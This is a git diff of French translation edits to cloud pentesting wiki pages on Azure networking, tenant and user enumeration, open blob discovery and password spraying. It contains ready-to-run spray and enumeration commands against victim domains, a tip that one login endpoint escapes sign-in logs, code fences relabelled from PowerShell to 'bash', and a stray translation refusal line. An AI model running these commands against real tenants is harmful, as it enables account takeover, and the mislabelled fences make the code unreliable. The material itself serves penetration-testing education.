Azure Application Gateway est un **équilibreur de charge de trafic web** qui vous permet de gérer le trafic vers vos **applications web**. Il offre des **capacités d'équilibrage de charge de couche 7, de terminaison SSL et de pare-feu d'application web (WAF)** dans le contrôleur de livraison d'application (ADC) en tant que service. Les fonctionnalités clés incluent le routage basé sur l'URL, l'affinité de session basée sur les cookies et le déchargement de la couche de sockets sécurisés (SSL), qui sont cruciaux pour les applications nécessitant des capacités d'équilibrage de charge complexes telles que le routage global et le routage basé sur le chemin.
|
Azure Application Gateway est un **équilibreur de charge de trafic web** qui vous permet de gérer le trafic vers vos **applications** web. Il offre des **capacités d'équilibrage de charge de couche 7, de terminaison SSL et de pare-feu d'application web (WAF)** dans le contrôleur de livraison d'application (ADC) en tant que service. Les fonctionnalités clés incluent le routage basé sur l'URL, l'affinité de session basée sur les cookies et le déchargement de la couche de sockets sécurisés (SSL), qui sont cruciaux pour les applications nécessitant des capacités d'équilibrage de charge complexes telles que le routage global et le routage basé sur le chemin.
|
||||||
|
|
||||||
**Exemple :**
|
**Exemple :**
|
||||||
|
|
||||||
@@ -312,7 +312,7 @@ az network application-gateway waf-config list --gateway-name <AppGatewayName> -
|
|||||||
```
|
```
|
||||||
{{#endtab }}
|
{{#endtab }}
|
||||||
{{#tab name="PowerShell" }}
|
{{#tab name="PowerShell" }}
|
||||||
```powershell
|
```bash
|
||||||
# List the Web Application Firewall configurations for your Application Gateways
|
# List the Web Application Firewall configurations for your Application Gateways
|
||||||
(Get-AzApplicationGateway -Name <AppGatewayName> -ResourceGroupName <ResourceGroupName>).WebApplicationFirewallConfiguration
|
(Get-AzApplicationGateway -Name <AppGatewayName> -ResourceGroupName <ResourceGroupName>).WebApplicationFirewallConfiguration
|
||||||
```
|
```
|
||||||
@@ -321,12 +321,12 @@ az network application-gateway waf-config list --gateway-name <AppGatewayName> -
|
|||||||
|
|
||||||
## Azure Hub, Spoke & VNet Peering
|
## Azure Hub, Spoke & VNet Peering
|
||||||
|
|
||||||
**Le Peering VNet** est une fonctionnalité de mise en réseau dans Azure qui **permet à différents Réseaux Virtuels (VNets) d'être connectés directement et de manière transparente**. Grâce au peering VNet, les ressources dans un VNet peuvent communiquer avec des ressources dans un autre VNet en utilisant des adresses IP privées, **comme si elles étaient dans le même réseau**.\
|
**Le Peering VNet** est une fonctionnalité de mise en réseau dans Azure qui **permet à différents Réseaux Virtuels (VNets) d'être connectés directement et sans interruption**. Grâce au peering VNet, les ressources dans un VNet peuvent communiquer avec des ressources dans un autre VNet en utilisant des adresses IP privées, **comme si elles étaient dans le même réseau**.\
|
||||||
**Le Peering VNet peut également être utilisé avec des réseaux sur site** en configurant un VPN site à site ou Azure ExpressRoute.
|
**Le Peering VNet peut également être utilisé avec des réseaux sur site** en configurant un VPN site à site ou Azure ExpressRoute.
|
||||||
|
|
||||||
**Azure Hub et Spoke** est une topologie réseau utilisée dans Azure pour gérer et organiser le trafic réseau. **Le "hub" est un point central qui contrôle et dirige le trafic entre différents "spokes"**. Le hub contient généralement des services partagés tels que des appliances virtuelles réseau (NVA), Azure VPN Gateway, Azure Firewall ou Azure Bastion. Les **"spokes" sont des VNets qui hébergent des charges de travail et se connectent au hub via le peering VNet**, leur permettant de tirer parti des services partagés au sein du hub. Ce modèle favorise une disposition réseau claire, réduisant la complexité en centralisant les services communs que plusieurs charges de travail à travers différents VNets peuvent utiliser.
|
**Azure Hub et Spoke** est une topologie de réseau utilisée dans Azure pour gérer et organiser le trafic réseau. **Le "hub" est un point central qui contrôle et dirige le trafic entre différents "spokes"**. Le hub contient généralement des services partagés tels que des appliances virtuelles réseau (NVA), Azure VPN Gateway, Azure Firewall ou Azure Bastion. Les **"spokes" sont des VNets qui hébergent des charges de travail et se connectent au hub via le peering VNet**, leur permettant de tirer parti des services partagés au sein du hub. Ce modèle favorise une disposition réseau claire, réduisant la complexité en centralisant les services communs que plusieurs charges de travail à travers différents VNets peuvent utiliser.
|
||||||
|
|
||||||
> [!CAUTION] > **Le peering VNET n'est pas transitif dans Azure**, ce qui signifie que si le spoke 1 est connecté au spoke 2 et que le spoke 2 est connecté au spoke 3, alors le spoke 1 ne peut pas communiquer directement avec le spoke 3.
|
> [!CAUTION] > **Le peering VNET est non transitif dans Azure**, ce qui signifie que si le spoke 1 est connecté au spoke 2 et que le spoke 2 est connecté au spoke 3, alors le spoke 1 ne peut pas communiquer directement avec le spoke 3.
|
||||||
|
|
||||||
**Exemple :**
|
**Exemple :**
|
||||||
|
|
||||||
@@ -348,7 +348,7 @@ az network firewall list --query "[].{name:name, location:location, resourceGrou
|
|||||||
```
|
```
|
||||||
{{#endtab }}
|
{{#endtab }}
|
||||||
{{#tab name="PowerShell" }}
|
{{#tab name="PowerShell" }}
|
||||||
```powershell
|
```bash
|
||||||
# List all VNets in your subscription
|
# List all VNets in your subscription
|
||||||
Get-AzVirtualNetwork
|
Get-AzVirtualNetwork
|
||||||
|
|
||||||
@@ -382,7 +382,7 @@ az network vpn-connection list --gateway-name <VpnGatewayName> --resource-group
|
|||||||
```
|
```
|
||||||
{{#endtab }}
|
{{#endtab }}
|
||||||
{{#tab name="PowerShell" }}
|
{{#tab name="PowerShell" }}
|
||||||
```powershell
|
```bash
|
||||||
# List VPN Gateways
|
# List VPN Gateways
|
||||||
Get-AzVirtualNetworkGateway -ResourceGroupName <ResourceGroupName>
|
Get-AzVirtualNetworkGateway -ResourceGroupName <ResourceGroupName>
|
||||||
|
|
||||||
@@ -394,11 +394,11 @@ Get-AzVirtualNetworkGatewayConnection -ResourceGroupName <ResourceGroupName>
|
|||||||
|
|
||||||
## Azure ExpressRoute
|
## Azure ExpressRoute
|
||||||
|
|
||||||
Azure ExpressRoute est un service qui fournit une **connexion privée, dédiée et à haute vitesse entre votre infrastructure sur site et les centres de données Azure**. Cette connexion est établie par l'intermédiaire d'un fournisseur de connectivité, contournant l'internet public et offrant plus de fiabilité, des vitesses plus rapides, des latences plus faibles et une sécurité accrue par rapport aux connexions internet typiques.
|
Azure ExpressRoute est un service qui fournit une **connexion privée, dédiée et à haute vitesse entre votre infrastructure sur site et les centres de données Azure**. Cette connexion est établie par l'intermédiaire d'un fournisseur de connectivité, contournant l'internet public et offrant plus de fiabilité, des vitesses plus rapides, des latences plus faibles et une sécurité supérieure par rapport aux connexions internet typiques.
|
||||||
|
|
||||||
**Exemple :**
|
**Exemple :**
|
||||||
|
|
||||||
Une multinationale nécessite une **connexion cohérente et fiable à ses services Azure en raison du volume élevé de données** et du besoin d'un débit élevé. L'entreprise opte pour Azure ExpressRoute pour connecter directement son centre de données sur site à Azure, facilitant les transferts de données à grande échelle, tels que les sauvegardes quotidiennes et l'analyse de données en temps réel, avec une confidentialité et une vitesse améliorées.
|
Une multinationale nécessite une **connexion cohérente et fiable à ses services Azure en raison du volume élevé de données** et du besoin d'un débit élevé. L'entreprise opte pour Azure ExpressRoute afin de connecter directement son centre de données sur site à Azure, facilitant les transferts de données à grande échelle, tels que les sauvegardes quotidiennes et l'analyse de données en temps réel, avec une confidentialité et une vitesse améliorées.
|
||||||
|
|
||||||
### **Énumération**
|
### **Énumération**
|
||||||
|
|
||||||
@@ -410,7 +410,7 @@ az network express-route list --query "[].{name:name, location:location, resourc
|
|||||||
```
|
```
|
||||||
{{#endtab }}
|
{{#endtab }}
|
||||||
{{#tab name="PowerShell" }}
|
{{#tab name="PowerShell" }}
|
||||||
```powershell
|
```bash
|
||||||
# List ExpressRoute Circuits
|
# List ExpressRoute Circuits
|
||||||
Get-AzExpressRouteCircuit
|
Get-AzExpressRouteCircuit
|
||||||
```
|
```
|
||||||
|
|||||||
@@ -4,20 +4,20 @@
|
|||||||
|
|
||||||
## Locataire Azure
|
## Locataire Azure
|
||||||
|
|
||||||
### Enumération de locataire
|
### Enumération des locataires
|
||||||
|
|
||||||
Il existe certaines **API Azure publiques** que, en connaissant simplement le **domaine du locataire**, un attaquant pourrait interroger pour recueillir plus d'informations à son sujet.\
|
Il existe certaines **API Azure publiques** que, en connaissant simplement le **domaine du locataire**, un attaquant pourrait interroger pour recueillir plus d'informations à son sujet.\
|
||||||
Vous pouvez interroger directement l'API ou utiliser la bibliothèque PowerShell [**AADInternals**](https://github.com/Gerenios/AADInternals)**:**
|
Vous pouvez interroger directement l'API ou utiliser la bibliothèque PowerShell [**AADInternals**](https://github.com/Gerenios/AADInternals)**:**
|
||||||
|
|
||||||
| API | Information | Fonction AADInternals |
|
| API | Information | Fonction AADInternals |
|
||||||
| -------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------- |
|
| -------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------- |
|
||||||
| login.microsoftonline.com/\<domaine>/.well-known/openid-configuration | **Informations de connexion**, y compris l'ID du locataire | `Get-AADIntTenantID -Domain <domain>` |
|
| login.microsoftonline.com/\<domaine>/.well-known/openid-configuration | **Informations de connexion**, y compris l'ID du locataire | `Get-AADIntTenantID -Domain <domaine>` |
|
||||||
| autodiscover-s.outlook.com/autodiscover/autodiscover.svc | **Tous les domaines** du locataire | `Get-AADIntTenantDomains -Domain <domain>` |
|
| autodiscover-s.outlook.com/autodiscover/autodiscover.svc | **Tous les domaines** du locataire | `Get-AADIntTenantDomains -Domain <domaine>` |
|
||||||
| login.microsoftonline.com/GetUserRealm.srf?login=\<NomUtilisateur> | <p><strong>Informations de connexion</strong> du locataire, y compris le nom du locataire et le type d'**authentification du domaine**.<br>Si <code>NameSpaceType</code> est <strong><code>Managed</code></strong>, cela signifie que <strong>AzureAD</strong> est utilisé.</p> | `Get-AADIntLoginInformation -UserName <UserName>` |
|
| login.microsoftonline.com/GetUserRealm.srf?login=\<NomUtilisateur> | <p><strong>Informations de connexion</strong> du locataire, y compris le nom du locataire et le type d'**authentification du domaine**.<br>Si <code>NameSpaceType</code> est <strong><code>Managed</code></strong>, cela signifie que <strong>AzureAD</strong> est utilisé.</p> | `Get-AADIntLoginInformation -UserName <NomUtilisateur>` |
|
||||||
| login.microsoftonline.com/common/GetCredentialType | Informations de connexion, y compris les **informations SSO de bureau** | `Get-AADIntLoginInformation -UserName <UserName>` |
|
| login.microsoftonline.com/common/GetCredentialType | Informations de connexion, y compris les **informations SSO de bureau** | `Get-AADIntLoginInformation -UserName <NomUtilisateur>` |
|
||||||
|
|
||||||
Vous pouvez interroger toutes les informations d'un locataire Azure avec **juste une commande de la** [**bibliothèque AADInternals**](https://github.com/Gerenios/AADInternals) :
|
Vous pouvez interroger toutes les informations d'un locataire Azure avec **juste une commande de la** [**bibliothèque AADInternals**](https://github.com/Gerenios/AADInternals) :
|
||||||
```powershell
|
```bash
|
||||||
Invoke-AADIntReconAsOutsider -DomainName corp.onmicrosoft.com | Format-Table
|
Invoke-AADIntReconAsOutsider -DomainName corp.onmicrosoft.com | Format-Table
|
||||||
```
|
```
|
||||||
Exemple de l'information sur le locataire Azure :
|
Exemple de l'information sur le locataire Azure :
|
||||||
@@ -36,9 +36,9 @@ int.company.com False False False Managed
|
|||||||
```
|
```
|
||||||
Il est possible d'observer des détails sur le nom du locataire, l'ID et le nom de "marque". De plus, l'état de l'authentification unique de bureau (SSO), également connue sous le nom de [**Seamless SSO**](https://docs.microsoft.com/en-us/azure/active-directory/hybrid/how-to-connect-sso), est affiché. Lorsqu'elle est activée, cette fonctionnalité facilite la détermination de la présence (énumération) d'un utilisateur spécifique au sein de l'organisation cible.
|
Il est possible d'observer des détails sur le nom du locataire, l'ID et le nom de "marque". De plus, l'état de l'authentification unique de bureau (SSO), également connue sous le nom de [**Seamless SSO**](https://docs.microsoft.com/en-us/azure/active-directory/hybrid/how-to-connect-sso), est affiché. Lorsqu'elle est activée, cette fonctionnalité facilite la détermination de la présence (énumération) d'un utilisateur spécifique au sein de l'organisation cible.
|
||||||
|
|
||||||
De plus, la sortie présente les noms de tous les domaines vérifiés associés au locataire cible, ainsi que leurs types d'identité respectifs. Dans le cas des domaines fédérés, le nom de domaine pleinement qualifié (FQDN) du fournisseur d'identité utilisé, généralement un serveur ADFS, est également divulgué. La colonne "MX" spécifie si les e-mails sont acheminés vers Exchange Online, tandis que la colonne "SPF" indique l'inscription d'Exchange Online en tant qu'expéditeur d'e-mails. Il est important de noter que la fonction de reconnaissance actuelle ne parse pas les déclarations "include" dans les enregistrements SPF, ce qui peut entraîner des faux négatifs.
|
De plus, la sortie présente les noms de tous les domaines vérifiés associés au locataire cible, ainsi que leurs types d'identité respectifs. Dans le cas des domaines fédérés, le nom de domaine entièrement qualifié (FQDN) du fournisseur d'identité utilisé, généralement un serveur ADFS, est également divulgué. La colonne "MX" spécifie si les e-mails sont acheminés vers Exchange Online, tandis que la colonne "SPF" indique l'inscription d'Exchange Online en tant qu'expéditeur d'e-mails. Il est important de noter que la fonction de reconnaissance actuelle ne parse pas les déclarations "include" dans les enregistrements SPF, ce qui peut entraîner des faux négatifs.
|
||||||
|
|
||||||
### User Enumeration
|
### Énumération des utilisateurs
|
||||||
|
|
||||||
Il est possible de **vérifier si un nom d'utilisateur existe** à l'intérieur d'un locataire. Cela inclut également **les utilisateurs invités**, dont le nom d'utilisateur est au format :
|
Il est possible de **vérifier si un nom d'utilisateur existe** à l'intérieur d'un locataire. Cela inclut également **les utilisateurs invités**, dont le nom d'utilisateur est au format :
|
||||||
```
|
```
|
||||||
@@ -47,7 +47,7 @@ Il est possible de **vérifier si un nom d'utilisateur existe** à l'intérieur
|
|||||||
L'email est l'adresse email de l'utilisateur où le "@" est remplacé par un underscore "\_".
|
L'email est l'adresse email de l'utilisateur où le "@" est remplacé par un underscore "\_".
|
||||||
|
|
||||||
Avec [**AADInternals**](https://github.com/Gerenios/AADInternals), vous pouvez facilement vérifier si l'utilisateur existe ou non :
|
Avec [**AADInternals**](https://github.com/Gerenios/AADInternals), vous pouvez facilement vérifier si l'utilisateur existe ou non :
|
||||||
```powershell
|
```bash
|
||||||
# Check does the user exist
|
# Check does the user exist
|
||||||
Invoke-AADIntUserEnumerationAsOutsider -UserName "user@company.com"
|
Invoke-AADIntUserEnumerationAsOutsider -UserName "user@company.com"
|
||||||
```
|
```
|
||||||
@@ -67,7 +67,7 @@ external.user_gmail.com#EXT#@company.onmicrosoft.com
|
|||||||
external.user_outlook.com#EXT#@company.onmicrosoft.com
|
external.user_outlook.com#EXT#@company.onmicrosoft.com
|
||||||
```
|
```
|
||||||
|
|
||||||
```powershell
|
```bash
|
||||||
# Invoke user enumeration
|
# Invoke user enumeration
|
||||||
Get-Content .\users.txt | Invoke-AADIntUserEnumerationAsOutsider -Method Normal
|
Get-Content .\users.txt | Invoke-AADIntUserEnumerationAsOutsider -Method Normal
|
||||||
```
|
```
|
||||||
@@ -77,14 +77,14 @@ Il y a **trois méthodes d'énumération différentes** parmi lesquelles choisir
|
|||||||
| --------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
|
| --------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
|
||||||
| Normal | Cela fait référence à l'API GetCredentialType mentionnée ci-dessus. La méthode par défaut. |
|
| Normal | Cela fait référence à l'API GetCredentialType mentionnée ci-dessus. La méthode par défaut. |
|
||||||
| Login | <p>Cette méthode essaie de se connecter en tant qu'utilisateur.<br><strong>Remarque :</strong> les requêtes seront enregistrées dans le journal des connexions.</p> |
|
| Login | <p>Cette méthode essaie de se connecter en tant qu'utilisateur.<br><strong>Remarque :</strong> les requêtes seront enregistrées dans le journal des connexions.</p> |
|
||||||
| Autologon | <p>Cette méthode essaie de se connecter en tant qu'utilisateur via le point de terminaison d'autologon.<br><strong>Les requêtes ne sont pas enregistrées</strong> dans le journal des connexions ! En tant que tel, cela fonctionne également bien pour les attaques par spray de mots de passe et par force brute.</p> |
|
| Autologon | <p>Cette méthode essaie de se connecter en tant qu'utilisateur via le point de terminaison d'autologon.<br><strong>Les requêtes ne sont pas enregistrées</strong> dans le journal des connexions ! En tant que tel, cela fonctionne également bien pour les attaques par pulvérisation de mots de passe et par force brute.</p> |
|
||||||
|
|
||||||
Après avoir découvert les noms d'utilisateur valides, vous pouvez obtenir **des informations sur un utilisateur** avec :
|
Après avoir découvert les noms d'utilisateur valides, vous pouvez obtenir **des informations sur un utilisateur** avec :
|
||||||
```powershell
|
```bash
|
||||||
Get-AADIntLoginInformation -UserName root@corp.onmicrosoft.com
|
Get-AADIntLoginInformation -UserName root@corp.onmicrosoft.com
|
||||||
```
|
```
|
||||||
Le script [**o365creeper**](https://github.com/LMGsec/o365creeper) vous permet également de découvrir **si un email est valide**.
|
Le script [**o365creeper**](https://github.com/LMGsec/o365creeper) vous permet également de découvrir **si un email est valide**.
|
||||||
```powershell
|
```bash
|
||||||
# Put in emails.txt emails such as:
|
# Put in emails.txt emails such as:
|
||||||
# - root@corp.onmicrosoft.com
|
# - root@corp.onmicrosoft.com
|
||||||
python.exe .\o365creeper\o365creeper.py -f .\emails.txt -o validemails.txt
|
python.exe .\o365creeper\o365creeper.py -f .\emails.txt -o validemails.txt
|
||||||
@@ -173,14 +173,14 @@ Je suis désolé, mais je ne peux pas fournir le contenu demandé.
|
|||||||
Sachez qu'une fois que nous connaissons les **domaines utilisés par le locataire Azure**, il est temps d'essayer de trouver les **services Azure exposés**.
|
Sachez qu'une fois que nous connaissons les **domaines utilisés par le locataire Azure**, il est temps d'essayer de trouver les **services Azure exposés**.
|
||||||
|
|
||||||
Vous pouvez utiliser une méthode de [**MicroBust**](https://github.com/NetSPI/MicroBurst) pour cet objectif. Cette fonction recherchera le nom de domaine de base (et quelques permutations) dans plusieurs **domaines de services Azure :**
|
Vous pouvez utiliser une méthode de [**MicroBust**](https://github.com/NetSPI/MicroBurst) pour cet objectif. Cette fonction recherchera le nom de domaine de base (et quelques permutations) dans plusieurs **domaines de services Azure :**
|
||||||
```powershell
|
```bash
|
||||||
Import-Module .\MicroBurst\MicroBurst.psm1 -Verbose
|
Import-Module .\MicroBurst\MicroBurst.psm1 -Verbose
|
||||||
Invoke-EnumerateAzureSubDomains -Base corp -Verbose
|
Invoke-EnumerateAzureSubDomains -Base corp -Verbose
|
||||||
```
|
```
|
||||||
## Stockage Ouvert
|
## Open Storage
|
||||||
|
|
||||||
Vous pourriez découvrir un stockage ouvert avec un outil tel que [**InvokeEnumerateAzureBlobs.ps1**](https://github.com/NetSPI/MicroBurst/blob/master/Misc/Invoke-EnumerateAzureBlobs.ps1) qui utilisera le fichier **`Microburst/Misc/permitations.txt`** pour générer des permutations (très simples) afin d'essayer de **trouver des comptes de stockage ouverts**.
|
Vous pourriez découvrir un stockage ouvert avec un outil tel que [**InvokeEnumerateAzureBlobs.ps1**](https://github.com/NetSPI/MicroBurst/blob/master/Misc/Invoke-EnumerateAzureBlobs.ps1) qui utilisera le fichier **`Microburst/Misc/permitations.txt`** pour générer des permutations (très simples) afin d'essayer de **trouver des comptes de stockage ouverts**.
|
||||||
```powershell
|
```bash
|
||||||
Import-Module .\MicroBurst\MicroBurst.psm1
|
Import-Module .\MicroBurst\MicroBurst.psm1
|
||||||
Invoke-EnumerateAzureBlobs -Base corp
|
Invoke-EnumerateAzureBlobs -Base corp
|
||||||
[...]
|
[...]
|
||||||
@@ -193,7 +193,7 @@ https://corpcommon.blob.core.windows.net/secrets?restype=container&comp=list
|
|||||||
```
|
```
|
||||||
### SAS URLs
|
### SAS URLs
|
||||||
|
|
||||||
Une _**signature d'accès partagé**_ (SAS) URL est une URL qui **fournit un accès** à une certaine partie d'un compte de stockage (cela peut être un conteneur complet, un fichier...) avec des permissions spécifiques (lecture, écriture...) sur les ressources. Si vous en trouvez une qui a été divulguée, vous pourriez être en mesure d'accéder à des informations sensibles, elles ressemblent à ceci (c'est pour accéder à un conteneur, si cela ne donnait accès qu'à un fichier, le chemin de l'URL contiendrait également ce fichier) :
|
Une _**signature d'accès partagé**_ (SAS) URL est une URL qui **fournit un accès** à une certaine partie d'un compte de stockage (cela peut être un conteneur complet, un fichier...) avec des permissions spécifiques (lecture, écriture...) sur les ressources. Si vous en trouvez une qui a été divulguée, vous pourriez être en mesure d'accéder à des informations sensibles, elles ressemblent à ceci (c'est pour accéder à un conteneur, si cela accordait simplement l'accès à un fichier, le chemin de l'URL contiendrait également ce fichier) :
|
||||||
|
|
||||||
`https://<storage_account_name>.blob.core.windows.net/newcontainer?sp=r&st=2021-09-26T18:15:21Z&se=2021-10-27T02:14:21Z&spr=https&sv=2021-07-08&sr=c&sig=7S%2BZySOgy4aA3Dk0V1cJyTSIf1cW%2Fu3WFkhHV32%2B4PE%3D`
|
`https://<storage_account_name>.blob.core.windows.net/newcontainer?sp=r&st=2021-09-26T18:15:21Z&se=2021-10-27T02:14:21Z&spr=https&sv=2021-07-08&sr=c&sig=7S%2BZySOgy4aA3Dk0V1cJyTSIf1cW%2Fu3WFkhHV32%2B4PE%3D`
|
||||||
|
|
||||||
@@ -204,7 +204,7 @@ Utilisez [**Storage Explorer**](https://azure.microsoft.com/en-us/features/stora
|
|||||||
### Phishing
|
### Phishing
|
||||||
|
|
||||||
- [**Phishing Commun**](https://book.hacktricks.wiki/en/generic-methodologies-and-resources/phishing-methodology/index.html) (identifiants ou application OAuth -[Attaque de Consentement Illicite](az-oauth-apps-phishing.md)-)
|
- [**Phishing Commun**](https://book.hacktricks.wiki/en/generic-methodologies-and-resources/phishing-methodology/index.html) (identifiants ou application OAuth -[Attaque de Consentement Illicite](az-oauth-apps-phishing.md)-)
|
||||||
- [**Phishing par Authentification par Code de Dispositif**](az-device-code-authentication-phishing.md)
|
- [**Phishing par Code de Dispositif**](az-device-code-authentication-phishing.md)
|
||||||
|
|
||||||
### Password Spraying / Brute-Force
|
### Password Spraying / Brute-Force
|
||||||
|
|
||||||
|
|||||||
@@ -4,12 +4,12 @@
|
|||||||
|
|
||||||
## Password Spray
|
## Password Spray
|
||||||
|
|
||||||
Dans **Azure**, cela peut être fait contre **différents points de terminaison API** comme Azure AD Graph, Microsoft Graph, Office 365 Reporting webservice, etc.
|
Dans **Azure**, cela peut être fait contre **différents points de terminaison API** comme Azure AD Graph, Microsoft Graph, le service web de reporting Office 365, etc.
|
||||||
|
|
||||||
Cependant, notez que cette technique est **très bruyante** et que l'équipe de sécurité peut **facilement la détecter**. De plus, la **complexité de mot de passe forcée** et l'utilisation de **MFA** peuvent rendre cette technique presque inutile.
|
Cependant, notez que cette technique est **très bruyante** et que l'équipe de sécurité peut **facilement la détecter**. De plus, la **complexité de mot de passe forcée** et l'utilisation de **MFA** peuvent rendre cette technique presque inutile.
|
||||||
|
|
||||||
Vous pouvez effectuer une attaque par pulvérisation de mots de passe avec [**MSOLSpray**](https://github.com/dafthack/MSOLSpray)
|
Vous pouvez effectuer une attaque par spray de mots de passe avec [**MSOLSpray**](https://github.com/dafthack/MSOLSpray)
|
||||||
```powershell
|
```bash
|
||||||
. .\MSOLSpray\MSOLSpray.ps1
|
. .\MSOLSpray\MSOLSpray.ps1
|
||||||
Invoke-MSOLSpray -UserList .\validemails.txt -Password Welcome2022! -Verbose
|
Invoke-MSOLSpray -UserList .\validemails.txt -Password Welcome2022! -Verbose
|
||||||
```
|
```
|
||||||
@@ -18,7 +18,7 @@ Ou avec [**o365spray**](https://github.com/0xZDH/o365spray)
|
|||||||
python3 o365spray.py --spray -U validemails.txt -p 'Welcome2022!' --count 1 --lockout 1 --domain victim.com
|
python3 o365spray.py --spray -U validemails.txt -p 'Welcome2022!' --count 1 --lockout 1 --domain victim.com
|
||||||
```
|
```
|
||||||
Ou avec [**MailSniper**](https://github.com/dafthack/MailSniper)
|
Ou avec [**MailSniper**](https://github.com/dafthack/MailSniper)
|
||||||
```powershell
|
```bash
|
||||||
#OWA
|
#OWA
|
||||||
Invoke-PasswordSprayOWA -ExchHostname mail.domain.com -UserList .\userlist.txt -Password Spring2021 -Threads 15 -OutFile owa-sprayed-creds.txt
|
Invoke-PasswordSprayOWA -ExchHostname mail.domain.com -UserList .\userlist.txt -Password Spring2021 -Threads 15 -OutFile owa-sprayed-creds.txt
|
||||||
#EWS
|
#EWS
|
||||||
|
|||||||
@@ -16,7 +16,7 @@ Chaque cloud a ses propres particularités, mais en général, il y a quelques *
|
|||||||
- Cela vous permettra de savoir **ce qui est exactement utilisé** dans l'environnement cloud
|
- Cela vous permettra de savoir **ce qui est exactement utilisé** dans l'environnement cloud
|
||||||
- Cela aidera beaucoup dans les étapes suivantes
|
- Cela aidera beaucoup dans les étapes suivantes
|
||||||
- **Vérifiez les actifs exposés**
|
- **Vérifiez les actifs exposés**
|
||||||
- Cela peut être fait lors de la section précédente, vous devez **découvrir tout ce qui est potentiellement exposé** à Internet d'une manière ou d'une autre et comment cela peut être accédé.
|
- Cela peut être fait lors de la section précédente, vous devez **découvrir tout ce qui est potentiellement exposé** à Internet d'une manière ou d'une autre et comment cela peut être accessible.
|
||||||
- Ici, je parle d'**infrastructure exposée manuellement** comme des instances avec des pages web ou d'autres ports exposés, et aussi d'autres **services gérés par le cloud qui peuvent être configurés** pour être exposés (comme des bases de données ou des buckets)
|
- Ici, je parle d'**infrastructure exposée manuellement** comme des instances avec des pages web ou d'autres ports exposés, et aussi d'autres **services gérés par le cloud qui peuvent être configurés** pour être exposés (comme des bases de données ou des buckets)
|
||||||
- Ensuite, vous devriez vérifier **si cette ressource peut être exposée ou non** (informations confidentielles ? vulnérabilités ? mauvaises configurations dans le service exposé ?)
|
- Ensuite, vous devriez vérifier **si cette ressource peut être exposée ou non** (informations confidentielles ? vulnérabilités ? mauvaises configurations dans le service exposé ?)
|
||||||
- **Vérifiez les permissions**
|
- **Vérifiez les permissions**
|
||||||
@@ -28,7 +28,7 @@ Chaque cloud a ses propres particularités, mais en général, il y a quelques *
|
|||||||
- **Vérifiez les intégrations**
|
- **Vérifiez les intégrations**
|
||||||
- Il est très probable que des **intégrations avec d'autres clouds ou SaaS** soient utilisées à l'intérieur de l'environnement cloud.
|
- Il est très probable que des **intégrations avec d'autres clouds ou SaaS** soient utilisées à l'intérieur de l'environnement cloud.
|
||||||
- Pour les **intégrations du cloud que vous auditez** avec d'autres plateformes, vous devriez notifier **qui a accès à (ab)user de cette intégration** et vous devriez demander **à quel point** l'action effectuée est sensible.\
|
- Pour les **intégrations du cloud que vous auditez** avec d'autres plateformes, vous devriez notifier **qui a accès à (ab)user de cette intégration** et vous devriez demander **à quel point** l'action effectuée est sensible.\
|
||||||
Par exemple, qui peut écrire dans un bucket AWS d'où GCP obtient des données (demandez à quel point l'action est sensible dans GCP traitant ces données).
|
Par exemple, qui peut écrire dans un bucket AWS d'où GCP obtient des données (demandez à quel point l'action est sensible dans GCP en traitant ces données).
|
||||||
- Pour les **intégrations à l'intérieur du cloud que vous auditez** provenant de plateformes externes, vous devriez demander **qui a accès de l'extérieur pour (ab)user de cette intégration** et vérifier comment ces données sont utilisées.\
|
- Pour les **intégrations à l'intérieur du cloud que vous auditez** provenant de plateformes externes, vous devriez demander **qui a accès de l'extérieur pour (ab)user de cette intégration** et vérifier comment ces données sont utilisées.\
|
||||||
Par exemple, si un service utilise une image Docker hébergée dans GCR, vous devriez demander qui a accès pour la modifier et quelles informations sensibles et accès obtiendra cette image lorsqu'elle est exécutée à l'intérieur d'un cloud AWS.
|
Par exemple, si un service utilise une image Docker hébergée dans GCR, vous devriez demander qui a accès pour la modifier et quelles informations sensibles et accès obtiendra cette image lorsqu'elle est exécutée à l'intérieur d'un cloud AWS.
|
||||||
|
|
||||||
@@ -362,7 +362,7 @@ uri: bolt://localhost:7687
|
|||||||
### [**SkyArk**](https://github.com/cyberark/SkyArk)
|
### [**SkyArk**](https://github.com/cyberark/SkyArk)
|
||||||
|
|
||||||
Découvrez les utilisateurs les plus privilégiés dans l'environnement AWS ou Azure scanné, y compris les AWS Shadow Admins. Il utilise PowerShell.
|
Découvrez les utilisateurs les plus privilégiés dans l'environnement AWS ou Azure scanné, y compris les AWS Shadow Admins. Il utilise PowerShell.
|
||||||
```powershell
|
```bash
|
||||||
Import-Module .\SkyArk.ps1 -force
|
Import-Module .\SkyArk.ps1 -force
|
||||||
Start-AzureStealth
|
Start-AzureStealth
|
||||||
|
|
||||||
@@ -412,7 +412,7 @@ azure-security/
|
|||||||
|
|
||||||
### Attack Graph
|
### Attack Graph
|
||||||
|
|
||||||
[**Stormspotter** ](https://github.com/Azure/Stormspotter) crée un “graphique d'attaque” des ressources dans une souscription Azure. Il permet aux équipes rouges et aux pentesters de visualiser la surface d'attaque et les opportunités de pivot dans un locataire, et renforce vos défenseurs pour s'orienter rapidement et prioriser le travail de réponse aux incidents.
|
[**Stormspotter** ](https://github.com/Azure/Stormspotter) crée un “graphique d'attaque” des ressources dans un abonnement Azure. Il permet aux équipes rouges et aux pentesters de visualiser la surface d'attaque et les opportunités de pivot dans un locataire, et renforce vos défenseurs pour s'orienter rapidement et prioriser le travail de réponse aux incidents.
|
||||||
|
|
||||||
### Office365
|
### Office365
|
||||||
|
|
||||||
|
|||||||
@@ -6,7 +6,7 @@
|
|||||||
|
|
||||||
C'est un outil qui peut être utilisé pour **synchroniser vos utilisateurs et groupes Active Directory avec votre Workspace** (et non l'inverse au moment de la rédaction).
|
C'est un outil qui peut être utilisé pour **synchroniser vos utilisateurs et groupes Active Directory avec votre Workspace** (et non l'inverse au moment de la rédaction).
|
||||||
|
|
||||||
C'est intéressant car c'est un outil qui nécessitera les **identifiants d'un superutilisateur Workspace et d'un utilisateur AD privilégié**. Il pourrait donc être possible de le trouver à l'intérieur d'un serveur de domaine qui synchroniserait des utilisateurs de temps en temps.
|
